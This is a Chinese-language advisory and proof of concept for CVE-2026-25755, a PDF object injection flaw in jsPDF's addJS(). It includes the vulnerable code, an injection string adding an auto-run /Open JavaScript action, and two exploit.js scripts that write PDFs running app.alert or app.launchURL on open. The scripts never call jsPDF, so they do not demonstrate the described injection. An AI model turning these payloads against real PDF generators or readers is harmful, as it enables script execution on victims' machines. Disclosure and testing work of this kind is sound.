
CVE-2026-25755 jsPDF 中的一个严重 PDF 对象注入漏洞,允许攻击者通过 addJS() 函数注入任意 PDF 对象,从而在打开 PDF 时实现 AcroJS 沙箱绕过和自动脚本执行。
在 jsPDF(一种广泛用于客户端应用中生成 PDF 文档的 JavaScript 库)中发现了一个严重的 PDF 对象注入漏洞(CVE-2026-25755)。该漏洞存在于 addJS() 函数中,攻击者可通过不当的输入清理绕过 AcroJS 沙箱限制,注入任意 PDF 对象。
jsPDF 中的 addJS() 函数允许开发者在生成的 PDF 文件中嵌入 JavaScript 代码。然而,在 4.2.0 版本之前,该函数未能正确清理包含特殊 PDF 语法字符的用户输入。
function addJS(javascript) {
this.internal.write("/JS (" + javascript + ")");
}
该函数直接将用户输入拼接进 PDF 对象流中,而未对以下字符进行转义:
()\这使得攻击者能够提前关闭 JavaScript 字符串上下文,并注入任意 PDF 对象。
/JS (app.alert('Hello World'))
const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";
/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
↑
注入点 - 字符串上下文被转义
| 步骤 | 操作 | 结果 |
|---|---|---|
| 1 | ) 关闭原始 /JS 字符串 | 字符串上下文终止 |
| 2 | >> 关闭当前 PDF 对象 | 对象结构被破坏 |
| 3 | /AA << /Open << ... | 注入新的动作字典 |
| 4 | 添加任意 PDF 对象 | 实现完全对象注入 |
创建一个名为 exploit.js 的文件,并在其中写入以下内容
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000092 00000 n
0000000275 00000 n
0000000352 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000089 00000 n
0000000172 00000 n
0000000249 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
运行 node exploit.js